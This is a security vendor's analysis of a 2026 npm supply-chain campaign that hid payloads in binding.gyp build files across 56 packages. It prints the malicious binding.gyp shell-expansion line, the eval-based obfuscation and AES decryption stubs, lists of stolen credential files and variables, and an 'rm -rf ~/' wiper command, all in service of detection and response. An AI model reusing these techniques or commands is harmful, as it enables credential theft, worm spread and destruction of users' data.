Spectra Assure Free Trial
Get your 14-day free trial of Spectra Assure for Software Supply Chain Security
Get Free TrialMore about Spectra Assure Free Trial
The popular repository npm's security guidance is clear: audit preinstall and postinstall scripts before installing packages. The attacker behind this campaign read the same guidance — and found a way around it.
Over a ten-hour window on June 3–4, 2026, an attacker published 286 malicious versions of 56 npm packages spanning developer tooling ecosystems from APM frameworks to voice AI SDKs. Not one of them used a lifecycle hook. Instead, every package contained a binding.gyp file — a native build configuration that npm invokes automatically, outside the scripts block, and that almost no security checklist mentions. The payload it triggered was encrypted three layers deep and built to outlast the incident response: revoking the stolen token arms a dead man's switch.
Here's how the full attack chain played out, from the install-time trigger to the decrypted second stage, and documents all 286 affected versions across the 56 packages we confirmed as malicious.

Attack chain: from npm install to persistent access. Click to enlarge.
The attack is notable for its breadth. Rather than targeting one high-value package, the attacker flooded the npm registry with malicious versions of packages across at least six distinct ecosystems:
Package family | Packages | Representative targets |
|---|---|---|
autotel-* | 24 | APM, database adapters, framework integrations, MCP instrumentation |
executable-stories-* | 9 | BDD testing framework (Vitest, Jest, Playwright, Cypress) |
awaitly-* | 6 | Async database utilities (PostgreSQL, MongoDB, libSQL) |
eslint-plugin-* | 4 | ESLint plugins for the above testing frameworks |
node-env-resolver-* | 5 | Environment variable management (AWS, Vite, Next.js, dotenvx) |
Others | 8 | ai-sdk-ollama, @vapi-ai/server-sdk, wrangler-deploy, effect-analyzer, mountly, and more |
The timing tells the story. The autotel-* cluster landed first, with 16 packages published within a 12-second burst at 21:58 UTC on June 3. A second wave starting at 00:25 UTC on June 4 added the remaining families, ending 48 minutes later at 01:13 UTC — 56 packages confirmed malicious in under ten hours.
Most npm packages are pure JavaScript — they ship .js files and nothing else. A small subset needs to go further: packages like bcrypt, sqlite3, or canvas wrap native C/C++ libraries and must compile platform-specific binary code when they are installed. The Node.js ecosystem handles this through a tool called node-gyp, which reads a configuration file called binding.gyp to know what to compile and how.
binding.gyp is therefore a completely normal file — in packages that actually need it. It appears in fewer than a fraction of a percent of published npm packages. Critically, npm treats its presence as an unconditional signal: if binding.gyp exists at a package root, npm automatically runs node-gyp during npm install, before any code from the package itself has been loaded. No scripts.install hook is needed. No opt-in from the user is required. The build runs silently in the background as part of the normal install flow.
The attacker exploited this behavior by including binding.gyp in packages that have no native addon whatsoever — pure JavaScript tooling libraries — and using a GYP-specific feature to turn the build step into an arbitrary code execution primitive.
GYP files support shell expansion: the <!(...) operator embeds a shell command whose standard output is substituted into the configuration at build time. The binding.gyp present in all 56 packages reads:
{
"targets": [{
"target_name": "Setup",
"type": "none",
"sources": ["<!(node index.js > /dev/null 2>&1 && echo stub.c)"]
}]
}When node-gyp processes this file, it executes node index.js as a shell command. The > /dev/null 2>&1 discards all output so nothing appears in the terminal. The & echo stub.c feeds a valid (if nonexistent) source filename back to node-gyp, preventing a build error that would alert the developer. The net effect: index.js runs silently and completely, with no visible indication that anything unusual happened.
This technique sidesteps the defenses most developers know to look for. Security-conscious developers audit scripts.preinstall and scripts.postinstall in package.json for suspicious commands — that is the well-documented attack surface for supply chain hooks. binding.gyp is not on that checklist. It looks like a routine native addon configuration to anyone who notices it at all, and most developers never look inside a package's files before installing it.
None of the 56 affected packages declared binding.gyp in their "files" field in package.json, and none has any legitimate need for a native C/C++ add-on. The file has no business being in these packages under any circumstances. Its presence across all 56, published within a ten-hour window, points to a coordinated account compromise: The attacker obtained npm publish tokens and pushed malicious versions directly to the registry.
The binding.gyp file runs one command: node index.js. That file — present in every affected package — is a single-line, ~4.6 MB JavaScript file. Its size alone is a red flag: legitimate npm packages rarely ship multi-megabyte JavaScript files at the package root. The content explains the size: it is almost entirely a 1.4-million-element array of integers, wrapped in an obfuscation layer that decodes and executes the real payload.
The outer wrapper applies a Caesar cipher to the encoded payload string and passes the result to eval(). In the @vapi-ai/server-sdk package the structure is:
try{eval(function(s,n){
return s.replace(/[a-zA-Z]/g, function(c) {
var b = c <= "Z" ? 65 : 97;
return String.fromCharCode((c.charCodeAt(0) - b + n) % 26 + b);
})
}([/* ~1.4 million integer char codes */].map(function(c){
return String.fromCharCode(c);
}).join(""), 13)
)}catch(e){console.log("wrapper:", e.message || e)}A 1.4-million-element integer array is converted to a string via .map(String.fromCharCode).join(""), then Caesar-decoded (shift n=13), then eval()'d. The catch block silently suppresses any execution errors. What gets evaluated is not the final payload — it is a decryption stub.
The decoded JavaScript reveals an AES-128-GCM decryption routine. It holds a hardcoded key, IV, and auth tag, and uses them to decrypt a ~4 MB ciphertext blob that is embedded in the same file. The following is the decryption stub as decoded from @vapi-ai/server-sdk (abbreviated):
(async () => {
try {
const _c = await import("node:crypto");
const _d = (k, i, a, c) => {
const d = _c.createDecipheriv(
"aes-128-gcm",
Buffer.from(k, "hex"),
Buffer.from(i, "hex"),
{ authTagLength: 16 }
);
d.setAuthTag(Buffer.from(a, "hex"));
return Buffer.concat([d.update(Buffer.from(c, "hex")), d.final()]);
};
const _b = _d(
"02aa4a0ff16c53b6555d8f1d94225764", // AES-128 key (unique per package family)
"a85bf69dd5739b618a36129b", // GCM IV
"a763faac3b207f0001d0b7d74449f7b3", // GCM auth tag
"2368cd08aa71..." // ~4 MB encrypted second stage (hex)
).toString("utf8");Every malicious version carries a unique AES-128-GCM key and IV. Across all four malicious versions of @vapi-ai/server-sdk alone:
Version | Key | IV |
|---|---|---|
0.11.1 | 02aa4a0ff16c53b6555d8f1d94225764 | a85bf69dd5739b618a36129b |
0.11.2 | ac9e9e756fb522f23925984681b53790 | fb727edb6ab99415b23bca7c |
1.2.1 | 66cb83604458e85b53940056b86394d2 | 4e9de2202c2f1666afcde160 |
1.2.2 | f7704e58fac4e9d683e3dc415e5923ec | d0663b7997483c00df9126b1 |
The attacker's build toolkit generates a fresh key pair for every version published. Decrypting one version's second stage gives no foothold on any other — each of the 286 malicious versions is an independently keyed binary. The ciphertext size is approximately 4 MB across all versions examined.
After decryption, the second stage is executed. In @vapi-ai/server-sdk the execution logic is:
const _fs = await import("node:fs");
const _cp = await import("node:child_process");
const t = "/tmp/p" + Math.random().toString(36).slice(2) + ".js";
_fs.writeFileSync(t, _p);
if (typeof Bun !== "undefined") {
// Path A: Bun runtime detected
try {
_cp.execSync('bun run "' + t + '"', { stdio: "inherit" });
} finally {
try { _fs.unlinkSync(t); } catch {} // delete temp file
}
} else {
// Path B: Node.js
await (0, eval)(_b); // indirect global-scope eval
try {
_cp.execSync('"' + getBunPath() + '" run "' + t + '"', { stdio: "inherit" });
} finally {
try { _fs.unlinkSync(t); } catch {} // delete temp file
}
}Notable capabilities in this execution layer:
At this point, npm install has finished. The developer's terminal shows nothing unusual. What runs next is a 720 KB JavaScript module that was sitting, encrypted, inside that 4 MB ciphertext blob.
Decrypting the second stage reveals a heavily obfuscated JavaScript module protected by yet another layer of encryption — a custom stream cipher built on SHA-256-derived S-boxes with a PBKDF2 master key, distinct from any standard library. Decrypting that layer in turn reveals individual scripts, each encrypted again with AES-256-GCM. The attacker clearly expected this payload to be scrutinised and built accordingly.
Once fully decrypted, the payload's intent is unambiguous.
Environment detection. Before doing anything else, the payload checks whether it's running inside a CI/CD environment by testing over 30 platform-specific environment variables: GITHUB_ACTIONS, GITLAB_CI, TRAVIS, CIRCLECI, JENKINS_URL, BUILDKITE, APPVEYOR, BITBUCKET_BUILD_NUMBER, DRONE, SEMAPHORE, TEAMCITY_VERSION, and more. This is not evasion — it's targeting. The payload only exfiltrates when it detects a CI runner, where the valuable credentials live.
Credential enumeration. When a CI environment is confirmed, the payload enumerates environment variables across every major cloud provider and secret manager:
Platform | Variables targeted |
|---|---|
GitHub Actions | ACTIONS_ID_TOKEN_REQUEST_URL, ACTIONS_ID_TOKEN_REQUEST_TOKEN, GITHUB_REF, GITHUB_REPOSITORY |
AWS | AWS_ACCESS_KEY_ID, AWS_SECRET_ACCESS_KEY, AWS_SESSION_TOKEN, container credential URIs, IRSA role ARN, profiles |
Azure | AZURE_TENANT_ID, AZURE_CLIENT_ID, AZURE_CLIENT_SECRET, AZURE_FEDERATED_TOKEN_FILE, IDENTITY_ENDPOINT |
GCP | GOOGLE_APPLICATION_CREDENTIALS, GCP_PROJECT, GOOGLE_CLOUD_PROJECT, DEVSHELL_PROJECT_ID |
Kubernetes | KUBERNETES_SERVICE_HOST, KUBERNETES_SERVICE_PORT, KUBECONFIG |
HashiCorp Vault | VAULT_ADDR, VAULT_API_TOKEN, VAULT_ROLE, VAULT_AWS_ROLE, VAULT_TOKEN_FILE |
Exfiltration via GitHub dead-drop. Collected credentials are committed to attacker-controlled GitHub repositories using the GitHub API (api.github.com/repos/). Traffic is disguised as python-requests/2.31.0 — a common User-Agent — to blend in with legitimate automation. Repository names are generated by combining words from two embedded word lists: adjectives (typhonian, tartarean, erebean, stygian, nemean…) with mythological creatures (hydra, chimera, cerberus, gorgon, harpy…). One repository name recovered from this sample is thebeautifulmarchoftime. The campaign marker embedded in the payload reads: "Miasma - The Spreading Blight".
Credential file harvesting. In addition to environment variables, the payload sweeps the filesystem for credential files across cloud providers, development tools, messaging apps, and cryptocurrency wallets: ~/.aws/credentials, ~/.kube/config, ~/.ssh/id_<em>, ~/.npmrc, ~/.pypirc, ~/.docker/config.json, ~/.claude/, ~/.config/gcloud/*, .env files throughout the project tree, VPN configuration files, and local storage databases for Signal, Telegram, Discord, and Slack. The list covers every credential an active developer is likely to have on their machine.
Worm propagation. When GitHub Actions OIDC tokens are available, the payload uses them to republish trojanized versions of packages it has write access to, injecting itself into the supply chain further downstream. It also injects malicious steps into discovered GitHub Actions workflow files.
AI tool config injection. The payload writes hooks into local AI coding assistant configuration files: .claude/settings.json (Claude Code), .gemini/settings.json (Gemini), .cursor/rules/setup.mdc (Cursor IDE), and Copilot workspace configs. These hooks persist beyond the initial install, giving the malware a foothold inside developer environments even after the malicious package is removed.
Persistence. The payload installs two background services, each encrypted behind a third layer of AES-256-GCM:
Linux: ~/.config/systemd/user/update-monitor.service - macOS: ~/Library/LaunchAgents/com.user.update-monitor.plist
Linux: ~/.config/systemd/user/gh-token-monitor.service - macOS: ~/Library/LaunchAgents/com.user.gh-token-monitor.plist
When the token is revoked, the monitor runs a shell command that was installed alongside it during the initial compromise. Decrypting the payload reveals it:
rm -rf ~/; rm -rf ~/DocumentsIt deletes the user's home directory. The ~/Documents clause is a belt-and-suspenders addition in case the first command fails or is interrupted on some platforms. Revoking the token on a machine that has not been isolated first triggers this. Isolate affected machines before revoking credentials.
By the time npm install finishes, the attacker has credentials, a persistent foothold, a command channel, and a trap waiting for the response team.
A consistent pattern across all 56 packages: the malicious version is always a patch bump or minor version bump above a legitimate, previously published version. For example:
This strategy is deliberate: A patch bump raises no suspicion in automated dependency updates or npm audit output. Projects using loose version constraints (~0.13.9, ^0.4.31) would have received the malicious version on their next npm install without any manual action by a developer.
Packages in the autotel-mcp, autotel-subscribers, autotel-terminal, and awaitly-* families were more aggressive, publishing between 22 and 29 consecutive malicious versions across major version lines — covering every semver range a downstream consumer might be pinned to.
The following 56 packages had 286 malicious versions confirmed across the campaign. Package names link to their analysis on secure.software.
Package | Malicious versions |
|---|---|
0.13.1, 1.1.1, 2.2.1, 3.8.5 | |
2.26.4, 3.4.3 | |
0.3.5 | |
0.1.15 | |
0.13.10 | |
2.12.26 | |
0.8.14 | |
2.18.16 | |
0.1.1, 1.0.4, 2.1.1, 3.0.2, 4.0.1, 5.1.1, 6.1.2 | |
0.0.27 | |
3.16.13 | |
1.0.1, 2.0.1, 3.0.1, 4.0.2, 5.0.1 | |
0.4.26 | |
0.1.14, 2.0.1, 3.0.1, 4.0.1, 5.0.1, 6.0.1, 7.0.1, 8.0.1, 9.0.1, 10.0.1, 11.0.1, 13.0.1, 14.0.1, 15.0.2, 16.0.1, 17.0.2, 18.0.1, 19.0.1, 20.0.1, 21.1.1, 22.0.1, 23.0.1, 24.0.1, 25.0.1, 26.0.2, 27.0.1, 28.0.3, 29.0.1 | |
29.0.2, 30.0.5, 31.0.1, 32.0.1, 33.0.2, 34.0.1 | |
0.0.3, 1.0.2, 2.0.5, 3.0.1, 4.0.1, 5.0.2, 6.0.1 | |
0.2.2, 1.0.3 | |
0.4.32 | |
0.19.26 | |
0.5.13 | |
4.1.1, 5.0.1, 6.0.1, 7.0.1, 8.0.1, 9.0.1, 10.0.1, 11.0.1, 12.0.1, 13.0.1, 14.1.1, 15.0.1, 16.0.2, 17.0.1, 18.0.3, 19.0.1, 20.0.1, 21.0.1, 22.0.2, 23.0.2, 24.0.1, 25.0.1, 26.0.1, 27.0.2, 28.0.2, 29.0.6, 30.0.4, 31.1.4 | |
1.13.27 | |
2.1.1, 3.0.1, 4.0.2, 5.0.1, 6.0.3, 7.0.1, 8.0.1, 9.0.1, 10.0.2, 11.0.1, 12.0.1, 13.0.1, 14.0.1, 15.0.2, 16.0.2, 17.0.10, 18.0.4, 19.0.8, 20.0.2, 21.0.1, 22.0.2, 23.0.3 | |
0.4.26 | |
1.12.2 | |
1.33.3 | |
0.24.2, 1.1.1, 2.0.1, 3.0.1, 4.0.1, 5.0.1, 6.0.1, 7.0.1, 8.0.1 | |
0.1.1, 1.0.1, 2.0.1, 3.0.1, 4.0.1, 5.0.1, 6.0.1, 7.0.1, 8.0.1, 9.0.1, 10.0.1, 11.0.1, 12.0.1, 13.0.1, 14.0.1, 15.0.1, 16.0.1, 17.0.1, 18.1.1, 19.0.1, 20.0.1, 21.0.1, 22.0.1 | |
0.1.1, 1.0.1, 2.0.1, 3.0.1, 4.0.1, 5.0.1, 6.0.1, 7.0.1, 8.0.1, 9.1.1, 10.0.1, 11.0.1, 12.0.1, 13.0.1, 14.0.1, 15.0.1, 16.0.1, 17.0.1, 18.0.1, 19.1.1, 20.0.1, 21.0.1, 22.0.1, 23.0.1 | |
0.1.1, 1.0.1, 2.0.1, 3.0.2, 4.0.1, 5.0.1, 6.0.1, 7.0.1, 8.0.1, 9.0.1, 10.0.1, 11.0.1, 12.0.1, 13.0.1, 14.0.1, 15.0.1, 16.0.1, 17.0.1, 18.0.1, 19.1.1, 20.0.1, 21.0.1, 22.0.1, 23.0.1 | |
1.0.1, 2.0.2, 3.0.1, 4.0.1, 5.0.1, 6.0.1, 7.0.1, 8.0.1, 9.0.1, 10.0.1, 11.0.1, 12.0.1, 13.0.1, 14.0.1, 15.0.1, 16.0.1, 17.0.1, 18.1.1, 19.0.1, 20.0.2, 21.0.1, 22.0.2 | |
0.1.1 | |
0.3.1 | |
0.17.1, 1.0.1 | |
1.2.1, 2.1.8 | |
1.2.1, 2.1.8 | |
1.2.1, 2.1.8 | |
3.1.1, 4.0.1, 5.0.1, 6.1.1, 7.0.3, 8.3.2 | |
0.1.11 | |
0.11.2 | |
0.1.2 | |
3.1.1, 4.0.1, 5.0.1, 6.1.1, 7.0.3, 8.3.2 | |
0.3.3 | |
3.1.1, 4.0.1, 5.0.1, 6.1.1, 7.0.3, 8.4.3 | |
0.1.7 | |
2.0.1, 3.1.1, 4.0.1, 5.0.1, 6.1.1, 7.0.3, 8.3.3 | |
1.16.1 | |
0.2.2 | |
0.1.3 | |
6.5.1 | |
9.1.2, 10.0.1, 11.0.1, 12.0.1 | |
1.0.1, 2.0.1 | |
7.4.2 | |
2.4.2 | |
0.11.1, 0.11.2, 1.2.1, 1.2.2 | |
1.5.5 |
If you use any of these packages, check your dependency tree and lock files for any of the versions listed above. Running npm ls <package> in affected repositories will show what version is installed.
If you ran a build that included a malicious version, treat all secrets available in that environment as compromised. Rotate GitHub tokens, API keys, and any credentials that were present in the runner's environment variables. Review your Actions audit log for unexpected secret access.
For ongoing protection, scan npm packages before installation as part of your CI/CD pipeline. The binding.gyp attack pattern does not require code execution to detect — any pure-JavaScript package that ships a binding.gyp alongside a multi-megabyte index.js is a high-confidence signal worth blocking.
Developers maintaining npm packages should enable two-factor authentication on their npm accounts and review recent publications for unauthorized releases. The breadth of this campaign — 56 packages across multiple package namespaces, all publishing within a ten-hour window — is consistent with a credential stuffing or phishing attack against a shared infrastructure or organizational npm account.
This post was researched by RL AI agents and written by generative AI.